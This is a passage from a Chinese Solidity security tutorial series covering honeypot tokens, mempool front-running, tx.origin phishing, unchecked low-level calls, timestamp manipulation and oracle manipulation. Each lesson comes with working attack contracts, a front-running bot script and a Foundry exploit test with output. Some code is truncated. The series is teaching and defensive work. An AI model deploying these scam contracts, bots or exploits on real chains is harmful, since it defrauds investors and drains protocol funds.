    }
    
    /**
     * 铸造函数，只有合约所有者可以调用
     */
    function mint(address to, uint amount) public onlyOwner {
    }

    /**
     * @dev See {ERC20-_beforeTokenTransfer}.
     * 貔貅函数：只有合约拥有者可以卖出
     */
    function _beforeTokenTransfer(
    ) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);
        // 当转账的目标地址为 LP 时，会revert
        if(to == pair){
            require(from == owner(), "Can not Transfer");
        }
    }
}
```

我们会在 `Goerli` 测试网上部署 `Pixiu` 合约，并在 `uniswap` 交易所中演示。

1. 部署 `Pixiu` 合约。
![](./img/S10-2.png)

2. 调用 `mint()` 函数，给自己铸造 `100000` 枚貔貅币。
![](./img/S10-3.png)

3. 进入 [uniswap](https://app.uniswap.org/#/add/v2/ETH) 交易所，为貔貅币创造流动性（v2），提供 `10000`貔貅币。和 `0.1` ETH。
![](./img/S10-4.png)

4. 出售 `100` 貔貅币，能够操作成功。
![](./img/S10-5.png)

5. 切换到另一个账户，使用 `0.01` ETH 购买貔貅币，能够操作成功。
![](./img/S10-6.png)

6. 出售貔貅币，无法弹出交易。
![](./img/S10-7.png)

## 预防方法

貔貅币是韭菜在链上梭哈最容易遇到的骗局，并且形式多变，预防非常有难度。我们有以下几点建议，可以降低被貔貅盘割韭菜的风险：

1.

在区块链浏览器上（比如[etherscan](https://etherscan.io/)）查看合约是否开源，如果开源，则分析它的代码，看是否有貔貅漏洞。

2. 如果没有编程能力，可以使用貔貅识别工具，比如 [Token Sniffer](https://tokensniffer.com/) 和 [Ave Check](https://ave.ai/check)，分低的话大概率是貔貅。

3. 看项目是否有审计报告。

4. 仔细检查项目的官网和社交媒体。

5. 只投资你了解的项目，做好研究（DYOR）。

## 总结

这一讲，我们介绍了貔貅合约和预防貔貅盘的方法。貔貅盘是每个韭菜必经之路，大家也对它恨之入骨。另外，最近也出现貔貅 `NFT`，恶意项目方通过修改 `ERC721` 的转账或授权函数，使得普通投资者不能出售它们。了解貔貅合约的原理和预防方法，可以显著减少你买到貔貅盘的概率，让你的资金更安全，大家要不断学习。

---
title: S11. 抢先交易
tags:
  - solidity
  - security
  - erc721
---

# WTF Solidity 合约安全: S11. 抢先交易

---

这一讲，我们将介绍智能合约的抢先交易（Front-running，抢跑）。据统计，以太坊上的套利者通过三明治攻击（sandwich attack）[共获利$12亿](https://dune.com/chorus_one/ethereum-mev-data)。

## Front-running

### 传统抢跑
抢跑最初诞生于传统金融市场，是一场单纯为了利益的竞赛。在金融市场中，信息差催生了金融中介机构，他们可以通过最先了解某些行业信息并最先做出反应从而实现获利。这些攻击主要发生在股票市场交易和早期的域名注册。

2021 年 9 月，NFT 市场 OpenSea 的产品负责人 Nate Chastain，被发现通过抢先购买将在 OpenSea 首页展示的 NFT 获利。
他利用内幕信息来获得不公平的信息差，OpenSea 将要在首页推送哪些 NFT，然后在展出在首页前抢先买入，然后再在 NFT 登上首页后卖出。然而，有一个人通过将 NFT 交易时间戳与 OpenSea 上有问题的 NFT 的首页促销进行匹配，发现了这一非法行为，Nate

也被告上法院。

另一个传统抢跑的例子包括是在代币上[币安](https://www.wsj.com/articles/crypto-might-have-an-insider-trading-problem-11653084398?mod=hp_lista_pos4)/[coinbase](https://www.protocol.com/fintech/coinbase-crypto-insider-trading)等知名交易所之前，会有得知内幕消息的老鼠仓提前买入。在上币的公告发出后，币价会大幅上涨，这时抢跑者会卖出盈利。

### 链上抢跑

链上抢跑指的是搜索者或矿工通过调高`gas`或其他方法将自己的交易安插在其他交易之前，来攫取价值。在区块链中，矿工可以通过打包、排除或重新排序他们产生的区块中的交易来获得一定的利润，而`MEV`是衡量这种利润的指标。

在用户的交易被矿工打包进以太坊区块链之前，大部分交易会汇集到Mempool（交易内存池）中，矿工在这里寻找费用高的交易优先打包出块，实现利益最大化。通常来说，gas price越高的交易，越容易被打包。同时，一些`MEV`机器人也会搜索`mempool`中有利可图的交易。比如，一笔在去中心化交易所中滑点设置过高的`swap`交易可能会被三明治攻击：通过调整gas，套利者会在这笔交易之前插一个买单，再在之后发送一个卖单，并从中盈利。这等效于哄抬市价。

![](./img/S11-1.png)

## 抢跑实践

如果你学会了抢跑，你就算是入门的币圈科学家了。接下来，让我们实践一下，抢跑一笔铸造NFT的交易。我们将会用到的工具：
- `Foundry`的`anvil`工具搭建本地测试链，请提前安装好 [foundry](https://book.getfoundry.sh/getting-started/installation)。
- `remix`进行NFT合约的部署和铸造
- `etherjs`脚本监听`mempool`并进行抢跑。

**1. 启动Foundry本地测试链：** 在安装好 `foundry` 之后，在命令行输入 `anvil --chain-id 1234 -b 10` 搭建本地测试链，chain-id 为 1234，每 10 秒产出一个区块。搭建成功后，它会在显示一些测试账户的地址和私钥，每个账户有 10000

ETH。你可以使用它们进行测试。

![](./img/S11-2.png)

**2. 将Remix连接到测试链：** 打开 Remix 的部署页面，打开左上角的`Environment`下拉菜单，选`Foundry Provider`即可将 Remix 连接到测试链。

![](./img/S11-3.png)

**3. 部署NFT合约：** 在 Remix 上部署一个简单的 freemint（免费铸造）NFT合约。它有一个`mint()`，用于免费铸造NFT。

// By 0xAA
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

// 我们尝试frontrun一笔Free mint交易
contract FreeMint is ERC721 {
    uint256 public totalSupply;

    constructor() ERC721("Free Mint NFT", "FreeMint"){}

    // 铸造函数
    }
}
```

**4. 部署ethers.js抢跑脚本：** 简单来说，`frontrun.js`脚本监听了测试链`mempool`中的未决交易，筛选出调用了`mint()`的交易，然后复制它并调高`gas`进行抢跑。如果你不熟悉`ether.js`，可以阅读[WTF Ethers极简教程](https://github.com/WTFAcademy/WTF-Ethers)。

```js
// provider.on("pending", listener)
import { ethers, utils } from "ethers";

// 1. 创建provider
var url = "http://127.0.0.1:8545";
const provider = new ethers.providers.WebSocketProvider(url);
let network = provider.getNetwork()
network.then(res =>

console.log(`[${(new Date).toLocaleTimeString()}] 连接到 chain ID ${res.chainId}`));

// 2. 创建interface对象，用于解码交易详情。
const iface = new utils.Interface([
    "function mint() external",
])

// 3. 创建钱包，用于发送抢跑交易
const privateKey = '0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a'
const wallet = new ethers.Wallet(privateKey, provider)

const main = async () => {
    // 4. 监听pending的mint交易，获取交易详情，然后解码。
    console.log("\n4. 监听pending交易，获取txHash，并输出交易详情。")
    provider.on("pending", async (txHash) => {
        if (txHash) {
            // 获取tx详情
            let tx = await provider.getTransaction(txHash);
            if (tx) {
                // filter pendingTx.data
                if (tx.data.indexOf(iface.getSighash("mint")) !== -1 && tx.from != wallet.address ) {
                    // 打印txHash
                    console.log(`\n[${(new Date).toLocaleTimeString()}] 监听Pending交易: ${txHash} \r`);

                    // 打印解码的交易详情
                    let parsedTx = iface.parseTransaction(tx)
                    console.log("pending交易详情解码：")
                    console.log(parsedTx);
                    // Input data解码
                    console.log("raw transaction")
                    console.log(tx);

                    // 构建抢跑tx
                    const txFrontrun = {
                        to: tx.to,
                        value: tx.value,
                        maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 1.2,
                        maxFeePerGas:

tx.maxFeePerGas * 1.2,
                        gasLimit: tx.gasLimit * 2,
                        data: tx.data
                    }
                    // 发送抢跑交易
                    var txResponse = await wallet.sendTransaction(txFrontrun)
                    console.log(`正在frontrun交易`)
                    await txResponse.wait()
                    console.log(`frontrun 交易成功`)                
                }
            }
        }
    });

    provider._websocket.on("error", async () => {
        console.log(`Unable to connect to ${ep.subdomain} retrying in 3s...`);
        setTimeout(init, 3000);
      });

    provider._websocket.on("close", async (code) => {
        console.log(
            `Connection lost with code ${code}! Attempting reconnect in 3s...`
        );
        provider._websocket.terminate();
    });    
};

main()
```

**5. 调用`mint()`函数：** 在 Remix 的部署页面调用 Freemint 合约的`mint()` 函数，进行 NFT 铸造。

**6. 脚本监听到交易并进行抢跑** 我们可以在终端看到 `frontrun.js` 脚本成功监听到了交易，并进行了抢跑。如果你调用 NFT 合约的 `ownerOf()` 函数查看 `tokenId` 为 0 的持有者是抢跑脚本中的钱包地址，证明抢跑成功！。
![](./img/S11-4.png)

## 预防方法

抢先交易是以太坊等公链上普遍存在的问题。我们没法消除它，但是可以通过减少交易顺序或时间的重要性，减少被抢先交易的收益：

- 使用预提交方案(commit-reveal scheme)。
- 使用暗池，用户发出的交易将不进入公开的`mempool`，而是直接到矿工手里。例如 flashbots 和 TaiChi。

## 总结

这一讲，我们介绍了以太坊的抢先交易，也叫抢跑。这种起源于传统金融行业的攻击模式在区块链中更容易实施，因为所有的交易信息都是公开的。我们做了一个抢跑的时间：抢跑一笔铸造 NFT

的交易。当需要有类似的交易时，最好支持隐藏的内存池，或者实施批量拍卖等措施限制。它是以太坊等公链上普遍存在的问题，我们没法消除它，但是可以通过减少交易顺序或时间的重要性，减少被抢先交易的收益。

---
title: S12. tx.origin钓鱼攻击
tags:
  - solidity
  - security
  - tx.origin
---

# WTF Solidity 合约安全: S12. tx.origin钓鱼攻击

-----

这一讲，我们将介绍智能合约的`tx.origin`钓鱼攻击和预防方法。

## `tx.origin`钓鱼攻击

笔者上初中的时候特别喜欢玩游戏，但是项目方为了防止未成年人沉迷，规定只有身份证号显示已满十八岁的玩家才不受防沉迷限制。这该怎么办呢？后来笔者使用家长的身份证号进行年龄验证，并成功绕过了防沉迷系统。这个案例与`tx.origin`钓鱼攻击有着异曲同工之妙。

在`solidity`中，使用`tx.origin`可以获得启动交易的原始地址，它与`msg.sender`十分相似，下面我们用一个例子来区分它们之间不同的地方。

如果用户A调用了B合约，再通过B合约调用了C合约，那么在C合约看来，`msg.sender`就是B合约，而`tx.origin`就是用户A。如果你不了解`call`的机制，可以阅读[WTF

Solidity极简教程第22讲：Call](https://github.com/AmazingAng/WTF-Solidity/blob/main/22_Call/readme.md)。

![](./img/S12_1.jpg)

因此如果一个银行合约使用了`tx.origin`做身份认证，那么黑客就有可能先部署一个攻击合约，然后再诱导银行合约的拥有者调用，即使`msg.sender`是攻击合约地址，但`tx.origin`是银行合约拥有者地址，那么转账就有可能成功。

## 漏洞合约例子

### 银行合约

我们先看银行合约，它非常简单，包含一个`owner`状态变量用于记录合约的拥有者，包含一个构造函数和一个`public`函数：

- 构造函数: 在创建合约时给`owner`变量赋值.
- `transfer()`: 该函数会获得两个参数`_to`和`_amount`，先检查`tx.origin == owner`，无误后再给`_to`转账`_amount`数量的ETH。**注意：这个函数有被钓鱼攻击的风险！**

    address public owner;//记录合约的拥有者

    //在创建合约时给 owner 变量赋值
        owner = msg.sender;
    }

    function transfer(address payable _to, uint _amount) public {
        //检查消息来源 ！！！ 可能owner会被诱导调用该函数，有钓鱼风险！
        require(tx.origin == owner, "Not owner");
        //转账ETH
        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
}
```

### 攻击合约

然后是攻击合约，它的攻击逻辑非常简单，就是构造出一个`attack()`函数进行钓鱼，将银行合约拥有者的余额转账给黑客。它有`2`个状态变量`hacker`和`bank`，分别用来记录黑客地址和要攻击的银行合约地址。

它包含`2`个函数：

- 构造函数:初始化`bank`合约地址.
-

`attack()`：攻击函数，该函数需要银行合约的`owner`地址调用，`owner`调用攻击合约，攻击合约再调用银行合约的`transfer()`函数，确认`tx.origin == owner`后，将银行合约内的余额全部转移到黑客地址中。

    // 受益者地址
    address payable public hacker;
    // Bank合约地址
    Bank bank;

        //强制将address类型的_bank转换为Bank类型
        bank = Bank(_bank);
        //将受益者地址赋值为部署者地址
        hacker = payable(msg.sender);
    }

    function attack() public {
        //诱导bank合约的owner调用，于是bank合约内的余额就全部转移到黑客地址中
        bank.transfer(hacker, address(bank).balance);
    }
}
```

**1.** 先将`value`设置为10ETH，再部署 `Bank` 合约，拥有者地址 `owner` 被初始化为部署合约地址。

![](./img/S12-2.jpg)

**2.** 切换到另一个钱包作为黑客钱包，填入要攻击的银行合约地址，再部署 `Attack` 合约，黑客地址 `hacker` 被初始化为部署合约地址。

![](./img/S12-3.jpg)

**3.** 切换回`owner`地址，此时我们被诱导调用了`Attack`合约的`attack()`函数，可以看到`Bank`合约余额被掏空了，同时黑客地址多了10ETH.

![](./img/S12-4.jpg)

## 预防办法

目前主要有两种办法来预防可能的`tx.origin`钓鱼攻击。

### 1.使用`msg.sender`代替`tx.origin`

`msg.sender`能够获取直接调用当前合约的调用发送者地址，通过对`msg.sender`的检验，就可以避免整个调用过程中混入外部攻击合约对当前合约的调用

function transfer(address payable _to, uint256 _amount) public {
  require(msg.sender == owner, "Not owner");

 (bool sent, ) = _to.call{value: _amount}("");
  require(sent, "Failed to send Ether");
}
```

### 2.检验`tx.origin == msg.sender`

如果一定要使用`tx.origin`，那么可以再检验`tx.origin`是否等于`msg.sender`，这样也可以避免整个调用过程中混入外部攻击合约对当前合约的调用。但是副作用是其他合约将不能调用这个函数。

        require(tx.origin == msg.sender, "can't call by external contract");
    }
```

## 总结

这一讲，我们介绍了智能合约中的`tx.origin`钓鱼攻击，目前有两种方法可以预防它：一种是使用`msg.sender`代替`tx.origin`；另一种是同时检验`tx.origin == msg.sender`。推荐使用第一种方法预防，因为后者会拒绝所有来自其他合约的调用。

---
title: S13. 未检查的低级调用
tags:
  - solidity
  - security
---

# WTF Solidity 合约安全: S13. 未检查的低级调用

-----

这一讲，我们将介绍智能合约的未检查低级调用（low-level call）的漏洞。失败的低级调用不会让交易回滚，如果合约中忘记对其返回值进行检查，往往会出现严重的问题。

## 低级调用

以太坊的低级调用包括 `call()`，`delegatecall()`，`staticcall()`，和`send()`。这些函数与 Solidity 其他函数不同，当出现异常时，它并不会向上层传递，也不会导致交易完全回滚；它只会返回一个布尔值 `false` ，传递调用失败的信息。因此，如果未检查低级函数调用的返回值，则无论低级调用失败与否，上层函数的代码会继续运行。对于低级调用更多的内容，请阅读 [WTF Solidity 极简教程第20-23讲](https://github.com/AmazingAng/WTF-Solidity)。

最容易出错的是`send()`：一些合约使用 `send()` 发送 `ETH`，但是 `send()` 限制 gas 要低于

2300，否则会失败。当目标地址的回调函数比较复杂时，花费的 gas 将高于 2300，从而导致 `send()` 失败。如果此时在上层函数没有检查返回值的话，交易继续执行，就会出现意想不到的问题。2016年，有一款叫 `King of Ether` 的链游，因为这个漏洞导致退款无法正常发送（[验尸报告](https://www.kingoftheether.com/postmortem.html)）。

![](./img/S13-1.png)

## 漏洞例子

### 银行合约

这个合约是在`S01 重入攻击`教程中的银行合约基础上修改而成。它包含`1`个状态变量`balanceOf`记录所有用户的以太坊余额；并且包含`3`个函数：
- `withdraw()`：提款函数，将调用者的余额转给它。具体步骤和上面故事中一样：查询余额，更新余额，转账。**注意：这个函数没有检查 `send()` 的返回值，提款失败但余额会清零！**

contract UncheckedBank {

    }

        // 获取余额
        uint256 balance = balanceOf[msg.sender];
        require(balance > 0, "Insufficient balance");
        // Unchecked low-level call
        bool success = payable(msg.sender).send(balance);
    }

    }
}
```

##

攻击合约

我们构造了一个攻击合约，它刻画了一个倒霉的储户，取款失败但是银行余额清零：合约回调函数 `receive()` 中的 `revert()` 将回滚交易，因此它无法接收 `ETH`；但是提款函数 `withdraw()` 却能正常调用，清空余额。

    UncheckedBank public bank; // Bank合约地址

    constructor(UncheckedBank _bank) {
    }
    
    // 回调函数，转账ETH时会失败
        revert();
    }

    // 存款函数，调用时 msg.value 设为存款数量
        bank.deposit{value: msg.value}();
    }

    // 取款函数，虽然调用成功，但实际上取款失败
    function withdraw() external payable {
    }

    }
}
```

## `Remix`复现

1. 部署 `UncheckedBank` 合约。

2. 部署 `Attack` 合约，构造函数填入 `UncheckedBank` 合约地址。

3. 调用 `Attack` 合约的 `deposit()` 存款函数，存入`1 ETH`。

4. 调用 `Attack` 合约的 `withdraw()` 提款函数，进行提款，调用成功。

5. 分别调用 `UncheckedBank` 合约的 `balanceOf()` 函数和 `Attack` 合约的 `getBalance()` 函数。尽管上一步调用成功并且储户余额被清空，但是提款失败了。

## 预防办法

你可以使用以下几种方法来预防未检查低级调用的漏洞：

1. 检查低级调用的返回值，在上面的银行合约中，我们可以改正 `withdraw()`。
    bool success = payable(msg.sender).send(balance);
    require(success, "Failed Sending ETH!")
    ```
2.

合约转账`ETH`时，使用 `call()`，并做好重入保护。

3. 使用`OpenZeppelin`的[Address库](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol)，它将检查返回值的低级调用封装好了。

## 总结

我们将介绍未检查低级调用的漏洞及其预防方法。以太坊的低级调用（call, delegatecall, staticcall, send）在失败时会返回一个布尔值 false，但不会让整个交易回滚。如果开发者没有对它进行检查的话，则会发生意外。

---
title: S14. 操纵区块时间
tags:
- solidity
- security
- timestamp
---

# WTF Solidity 合约安全: S14. 操纵区块时间

-----

这一讲，我们将介绍智能合约的操纵区块时间攻击，并使用 Foundry 复现。在合并（The Merge）之前，以太坊矿工可以操纵区块时间，如果抽奖合约的伪随机数依赖于区块时间，则可能被攻击。

## 区块时间

区块时间（block timestamp）是包含在以太坊区块头中的一个 `uint64` 值，代表此区块创建的 UTC 时间戳（单位：秒），在合并（The Merge）之前，以太坊会根据算力调整区块难度，因此出块时间不定，平均 14.5s 出一个区块，矿工可以操纵区块时间；合并之后，改为固定 12s 一个区块，验证节点不能操纵区块时间。

在 Solidity 中，开发者可以通过全局变量 `block.timestamp` 获取当前区块的时间戳，类型为 `uint256`。

## 漏洞例子

此例子由[WTF Solidity合约安全: S07. 坏随机数](https://github.com/AmazingAng/WTF-Solidity/tree/main/32_Faucet)中的合约改写而成。我们改变了

`mint()` 铸造函数的条件：当区块时间能被 170 整除时才能成功铸造：

contract TimeMnipulation is ERC721 {

    // 铸造函数：当区块时间能被7整除时才能mint成功
    function luckyMint() external returns(bool success){
        if(block.timestamp % 170 == 0){
            _mint(msg.sender, totalSupply); // mint
            totalSupply++;
            success = true;
        }else{
            success = false;
        }
    }
}
```

## Foundry复现攻击

攻击者只需操纵区块时间，将它设为能被 170 整除的数字，就可以成功铸造 NFT。我们选择 Foundry 来复现这个攻击，因为它提供了修改区块时间的作弊码（cheatcodes）。如果你不了解 Foundry/作弊码，可以阅读 [Foundry教程](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md) 和 [Foundry Book](https://book.getfoundry.sh/forge/cheatcodes)。

代码大致逻辑

1. 创建一个 `TimeManipulation` 合约变量 `nft`。
2. 创建一个钱包地址 `alice`。
3. 使用作弊码 `vm.warp()` 将区块时间改为 169，由于不能被170整除，铸造失败。
4. 使用作弊码 `vm.warp()` 将区块时间改为 17000，由于可以被170整除，铸造成功。

代码：

// SPDX-License-Identifier: UNLICENSED

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/TimeManipulation.sol";

contract TimeManipulationTest is Test {
   
   TimeManipulation public nft;

    // Computes address for a given private key
    address alice = vm.addr(1);

    function setUp() public {
        nft = new TimeManipulation();
    }

    // forge test -vv --match-test  testMint
    function testMint() public {
        console.log("Condition 1: block.timestamp % 170 != 0");
        // Set block.timestamp to 169
        vm.warp(169);
        console.log("block.timestamp: %s", block.timestamp);
        // Sets all subsequent calls' msg.sender to be the input address
        // until `stopPrank` is called
        vm.startPrank(alice);
        console.log("alice balance before mint: %s", nft.balanceOf(alice));
        nft.luckyMint();
        console.log("alice balance after mint: %s", nft.balanceOf(alice));

        // Set block.timestamp to 17000
        console.log("Condition 2: block.timestamp % 170 == 0");
        vm.warp(17000);
        vm.stopPrank();
    }
}

```

在安装好 Foundry 之后，在命令行输入下列命令启动新项目，并安装 openzeppelin 库：

```shell
forge init TimeMnipulation
cd TimeMnipulation
forge install

Openzeppelin/openzeppelin-contracts
```

将这一讲的代码分别复制到`src`和`test`目录下，然后使用下列命令启动测试用例：

```shell
forge test -vv --match-test testMint
```

输出如下：

```shell
Running 1 test for test/TimeManipulation.t.sol:TimeManipulationTest
[PASS] testMint() (gas: 94666)
Logs:
  Condition 1: block.timestamp % 170 != 0
  block.timestamp: 169
  alice balance before mint: 0
  alice balance after mint: 0
  Condition 2: block.timestamp % 170 == 0
  block.timestamp: 17000
  alice balance after mint: 1

Test result: ok. 1 passed; 0 failed; finished in 7.64ms
```

我们可以看到，当我们将` block.timestamp` 修改为 17000时，铸造成功。

## 总结

这一讲，我们介绍了智能合约的操纵区块时间攻击，并使用 Foundry 复现了它。在合并（The Merge）之前，以太坊矿工可以操纵区块时间，如果抽奖合约的伪随机数依赖于区块时间，则可能被攻击。合并之后，以太坊改为固定 12s 一个区块，并且验证节点不能操纵区块时间。因此这类攻击不会在以太坊上发生，但仍可能在其他公链中遇到。

---
title: S15. 操纵预言机
tags:
- solidity
- security
- oracle

---

# WTF Solidity 合约安全: S15. 操纵预言机

-----

这一讲，我们将介绍智能合约的操纵预言机攻击，并复现了一个攻击示例：用`1 ETH`兑换17万亿枚稳定币。仅2022年一年，操纵预言机攻击造成用户资产损失超过 2 亿美元。

## 价格预言机

出于安全性的考虑，以太坊虚拟机（EVM）是一个封闭孤立的沙盒。在EVM上运行的智能合约可以接触链上信息，但无法主动和外界沟通获取链下信息。但是，这类信息对去中心化应用非常重要。

预言机（oracle）可以帮助我们解决这个问题，它从链下数据源获得信息，并将其添加到链上，供智能合约使用。

其中最常用的就是价格预言机（price oracle），它可以指代任何可以让你查询币价的数据源。典型用例：
- 去中心借贷平台（AAVE）使用它来确定借款人是否已达到清算阈值。
- 合成资产平台（Synthetix）使用它来确定资产最新价格，并支持 0 滑点交易。
- MakerDAO使用它来确定抵押品的价格，并铸造相应的稳定币 $DAI。

![](./img/S15-1.png)

##

预言机漏洞

如果预言机没有被开发者正确使用，会造成很大的安全隐患。

- 2021年10月，BNB链上的DeFi平台Cream Finance因为预言机漏洞[被盗用户资金 1.3亿 美元](https://rekt.news/cream-rekt-2/)。
- 2022年5月，Terra链上的合成资产平台Mirror Protocol因为预言机漏洞[被盗用户资金 1.15亿 美元](https://rekt.news/mirror-rekt/)。
- 2022年10月，Solana链上的去中心化借贷平台Mango Market因为预言机漏洞[被盗用户资金 1.15亿 美元](https://rekt.news/mango-markets-rekt/)。

## 漏洞例子

下面我们学习一个预言机漏洞的例子，`oUSD` 合约。该合约是一个稳定币合约，符合ERC20标准。类似合成资产平台Synthetix，用户可以在这个合约中零滑点的将 `ETH` 兑换为 `oUSD`（Oracle USD）。兑换价格由自定义的价格预言机（`getPrice()`函数）决定，这里采取的是Uniswap V2的 `WETH-BUSD` 的瞬时价格。在之后的攻击示例例子中，我们会看到这个预言机非常容易被操纵。

### 漏洞合约

`oUSD`合约包含`7`个状态变量，用来记录`BUSD`，`WETH`，`UniswapV2`工厂合约，和`WETH-BUSD`币对合约的地址。

`oUSD`合约主要包含`3`个函数:
- 构造函数: 初始化 `ERC20` 代币的名称和代号。
- `getPrice()`：价格预言机，获取Uniswap V2的 `WETH-BUSD` 的瞬时价格，这也是漏洞所在。
  ```
    // 获取ETH price
    function getPrice() public view returns (uint256 price) {
        // pair 交易对中储备
        (uint112 reserve0, uint112 reserve1, ) = pair.getReserves();
        // ETH 瞬时价格
        price = reserve0/reserve1;
    }
  ```
- `swap()`：兑换函数，将 `ETH` 以预言机给定的价格兑换为 `oUSD`。

合约代码：

contract oUSD is ERC20{
    // 主网合约
    address public constant FACTORY_V2 =
       
       0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address public constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53;

    IUniswapV2Factory public factory = IUniswapV2Factory(FACTORY_V2);
    IUniswapV2Pair public pair = IUniswapV2Pair(factory.getPair(WETH, BUSD));
    IERC20 public weth = IERC20(WETH);
    IERC20 public busd = IERC20(BUSD);

    constructor() ERC20("Oracle USD","oUSD"){}

        // ETH 瞬时价格
    }

    function swap() external payable returns (uint256 amount){
        // 获取价格
        uint price = getPrice();
        // 计算兑换数量
        amount = price * msg.value;
        // 铸造代币
        _mint(msg.sender, amount);
    }
}
```

### 攻击思路

我们针对有漏洞的价格预言机 `getPrice()` 函数进行攻击，步骤：

1. 准备一些 `BUSD`，可以是自有资金，也可以是闪电贷借款。在实现中，我们利用 Foundry 的 `deal` cheatcode 在本地网络上给自己铸造了 `1_000_000 BUSD`
2. 在 UniswapV2 的 `WETH-BUSD` 池中大量买入 `WETH`。具体实现见攻击代码的 `swapBUSDtoWETH()` 函数。
3. `WETH` 瞬时价格暴涨，这时我们调用 `swap()` 函数将 `ETH` 转换为 `oUSD`。
4. **可选:** 在 UniswapV2 的

`WETH-BUSD` 池中卖出第2步买入的 `WETH`，收回本金。

这4步可以在一个交易中完成。

### Foundry 复现

我们选用 Foundry 进行操纵预言机攻击的复现，因为它很快，并且可以创建主网的本地分叉，方便测试。如果你不了解 Foundry，可以阅读 [WTF Solidity工具篇 T07: Foundry](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md)。

1. 在安装好 Foundry 之后，在命令行输入下列命令启动新项目，并安装 openzeppelin 库。
  ```shell
  forge init Oracle
  cd Oracle
  forge install Openzeppelin/openzeppelin-contracts
  ```

2. 在根目录下创建 `.env` 环境变量文件，并在其中添加主网rpc，用于创建本地测试网。

  ```
  MAINNET_RPC_URL= https://rpc.ankr.com/eth
  ```

3. 将这一讲的代码，`Oracle.sol` 和 `Oracle.t.sol`，分别复制到根目录的 `src` 和 `test` 文件夹下，然后使用下列命令启动攻击脚本。

  ```
  forge test -vv --match-test testOracleAttack
  ```

4. 我们可以在终端中看到攻击结果。在攻击前，预言机 `getPrice()` 给出的 `ETH`
价格为 `1216 USD`，是正常的。但在我们使用 `1,000,000` BUSD 在 UniswapV2 的 `WETH-BUSD` 池子中买入 `WETH` 之后，预言机给出的价格被操纵为 `17,979,841,782,699 USD`。这时，我们可以轻松的用 `1 ETH` 兑换17万亿枚 `oUSD`，完成攻击。
  ```shell
  Running 1 test for test/Oracle.t.sol:OracleTest
  [PASS] testOracleAttack() (gas: 356524)
  Logs:
    1. ETH Price (before attack): 1216
    2. Swap 1,000,000 BUSD to WETH to manipulate the oracle
    3. ETH price (after attack): 17979841782699
   
   4. Minted 1797984178269 oUSD with 1 ETH (after attack)

  Test result: ok. 1 passed; 0 failed; finished in 262.94ms
  ```

攻击代码：

import "../src/Oracle.sol";

contract OracleTest is Test {
    address private constant alice = address(1);
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address private constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53;
    address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router router;
    IWETH private weth = IWETH(WETH);
    IBUSD private busd = IBUSD(BUSD);
    string MAINNET_RPC_URL;
    oUSD ousd;

        MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
        // fork指定区块
        vm.createSelectFork(MAINNET_RPC_URL,16060405);
        router = IUniswapV2Router(ROUTER);
        ousd = new oUSD();
    }

    //forge test --match-test  testOracleAttack  -vv
    function testOracleAttack() public {
        // 攻击预言机
        // 0. 操纵预言机之前的价格
        uint256 priceBefore = ousd.getPrice();
        console.log("1. ETH Price (before attack): %s",

priceBefore); 
        // 给自己账户 1000000 BUSD
        uint busdAmount = 1_000_000 * 10e18;
        deal(BUSD, alice, busdAmount);
        // 2. 用busd买weth，推高顺时价格
        vm.prank(alice);
        busd.transfer(address(this), busdAmount);
        swapBUSDtoWETH(busdAmount, 1);
        console.log("2. Swap 1,000,000 BUSD to WETH to manipulate the oracle");
        // 3. 操纵预言机之后的价格
        uint256 priceAfter = ousd.getPrice();
        console.log("3. ETH price (after attack): %s", priceAfter); 
        // 4. 铸造oUSD
        ousd.swap{value: 1 ether}();
        console.log("4. Minted %s oUSD with 1 ETH (after attack)", ousd.balanceOf(address(this))/10e18); 
    }

    // Swap BUSD to WETH
    function swapBUSDtoWETH(uint amountIn, uint amountOutMin)
        public
        returns (uint amountOut)
    {   
        busd.approve(address(router), amountIn);

        address[] memory path;
        path = new address[](2);
        path[0] = BUSD;
        path[1] = WETH;

        uint[] memory amounts = router.swapExactTokensForTokens(
            amountIn,
            amountOutMin,
            path,
            alice,
            block.timestamp
        );

        // amounts[0] = BUSD amount, amounts[1] = WETH amount
        return amounts[1];
    }
}
```

## 预防方法

知名区块链安全专家 `samczsun`

在一篇[博客](https://www.paradigm.xyz/2020/11/so-you-want-to-use-a-price-oracle)中总结了预言机操纵的预防方法，这里总结一下：

1. 不要使用流动性差的池子做价格预言机。
2. 不要使用现货/瞬时价格做价格预言机，要加入价格延迟，例如时间加权平均价格（TWAP）。
3. 使用去中心化的预言机。
4. 使用多个数据源，每次选取最接近价格中位数的几个作为预言机，避免极端情况。
5. 仔细阅读第三方价格预言机的使用文档及参数设置。

## 总结

这一讲，我们介绍了操纵预言机攻击，并攻击了一个有漏洞的合成稳定币合约，使用`1 ETH`兑换了17万亿稳定币，成为了世界首富（并没有）。

---
title: S16. NFT重入攻击
tags:
  - solidity
  - security
  - fallback
  - nft
  - erc721
  - erc1155
---

# WTF Solidity 合约安全: S16. NFT重入攻击

-----

这一讲，我们将介绍NFT合约的重入攻击漏洞，并攻击一个有漏洞的NFT合约，铸造100个NFT。

## NFT重入风险

我们在[S01

重入攻击](https://github.com/AmazingAng/WTFSolidity/blob/main/S01_ReentrancyAttack/readme.md)中讲过，重入攻击是智能合约中最常见的一种攻击，攻击者通过合约漏洞（例如`fallback`函数）循环调用合约，将合约中资产转走或铸造大量代币。转账NFT时并不会触发合约的`fallback`或`receive`函数，为什么会有重入风险呢？

